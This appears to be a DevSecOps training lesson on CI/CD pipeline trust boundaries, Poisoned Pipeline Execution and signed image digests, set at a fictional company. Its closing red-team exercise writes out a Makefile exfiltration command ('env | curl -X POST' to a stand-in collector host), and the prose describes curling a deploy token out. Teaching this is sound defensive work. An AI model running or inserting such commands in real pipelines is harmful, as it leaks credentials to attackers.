Helpful first: Direct and transitive dependencies: inherited code in your runtime · Least privilege, defense in depth, and Zero Trust boundaries
Key points
- Separate the trust level of unreviewed pull-request execution from protected branch release promotion
- Prevent CI/CD pipeline poisoning (PPE) by isolating build credentials from untrusted workflow definitions
- Verify artifact provenance and digest immutability between the build runner and the production cluster
Why a pull request is untrusted code execution
Think about what happens when an engineer opens a pull request and the CI server automatically runs npm test. The CI runner checks out the branch and executes whatever code, build scripts, or test files the author put in that commit. If that CI job also has Meridian’s production AWS deployment role or signing key mounted in its environment variables, any developer with branch-push access can trivially print or exfiltrate production secrets inside a unit test without waiting for code review.
At Meridian Space & Robotics (chronos.), Staff Infrastructure Engineer Kael Cho enforces a strict boundary between Write / Test and Approve / Promote. Pull-request workflows run on ephemeral, single-use VMs with zero access to production secrets or signing keys. Production deployment credentials exist only inside a protected release environment that triggers after required human reviews pass on the locked main branch.
| Pipeline Stage | Who Can Trigger It? | Input Trust Level | Permitted Credentials & Capabilities |
|---|---|---|---|
1. PR Verification (ci-) | Any developer opening or updating a feature branch | Untrusted (unreviewed code and test scripts) | Read-only code checkout, ephemeral test container, zero production secrets or registry write keys |
2. Artifact Build & Sign (release-) | Merge to protected main after mandatory independent peer review | Reviewed source commit SHA | Ephemeral OIDC token to push immutable image digest (sha256:.) and sign SLSA provenance attestation |
3. Production Promotion (prod-) | Automated promotion gate + environment approval policy | Verified, signed artifact digest | Scoped deployment credential; Kubernetes admission controller verifies signature and provenance before starting pods |
Poisoned Pipeline Execution (PPE) and mutable tags
When pipeline configuration files (such as . or .) live inside the same repository as application code, an attacker who compromises a developer workstation will immediately edit the workflow YAML on a branch to curl $PROD_ to an external server. This attack is known as Poisoned Pipeline Execution (PPE).
Poisoned Pipeline Execution (PPE)
A workflow change on a branch curls $PROD_DEPLOY_TOKEN to an external server.
Branch workflow
A workflow run on a branch gets no production secrets.
Mutable container tag
Registry write access can overwrite :latest with an image that no one reviewed. Git shows no change.
Image digest
Production manifests pin chronos/telemetry-api@sha256:9f86d08... An admission controller verifies its signature.
Similarly, deploying by mutable container tag (such as chronos/ or :prod) breaks the chain of custody between what was reviewed and what runs. An attacker with registry write access can overwrite :latest with an unreviewed image without touching Git. Production manifests must pin the exact cryptographic image digest (chronos/). Before pods start, a Kubernetes admission controller verifies the Cosign image signature and SLSA provenance attestation for that digest. The signed provenance shows that Meridian’s trusted CI workflow built the image from a commit on the locked main branch.
SLSA provenance attestation
Image digest
Production manifests must pin the exact cryptographic image digest (chronos/
telemetry-api@ sha256: 9f86d08. . . ). Cosign image signature
An isolated builder compiles the image and signs the immutable digest and the provenance attestation.
SLSA provenance
Meridian’s trusted CI workflow built the image from a commit on main.
Mutable tags
An attacker with registry write access can overwrite :latest with an unreviewed image. Deploying by mutable container tag breaks the chain of custody.
Separation of duties from commit to cluster
Notice how this pipeline architecture implements classic CISSP Separation of Duties and Dual Control in modern DevSecOps. No single individual - neither the developer who writes the code nor the platform engineer who maintains the runner - can unilaterally inject unreviewed code into production. The author writes the change, an independent peer reviews and approves the diff, an isolated builder compiles and signs the immutable digest, and the runtime admission controller refuses any image lacking both attestations.
Separation of duties from commit to cluster
Author
The author writes the change.
Independent peer
An independent peer reviews and approves the diff.
Isolated builder
An isolated builder compiles and signs the immutable digest.
Runtime admission controller
The runtime admission controller refuses any image lacking the Cosign image signature and the SLSA provenance attestation.
CHECK YOUR JUDGMENT
During an internal red-team exercise at Meridian Space & Robotics (chronos.orbital ), Threat Hunter Nyx opens an unreviewed draft pull request that modifies Makefile to run env | curl -X POST https://collector.example.test -d @- during the automated unit-test job. To Nyx’s surprise, the output contains a live AWS_SECRET_ACCESS_KEY with permission to overwrite production container images. What architectural flaw allowed this, and how should Kael Cho fix it?
NEXT FIELD LESSON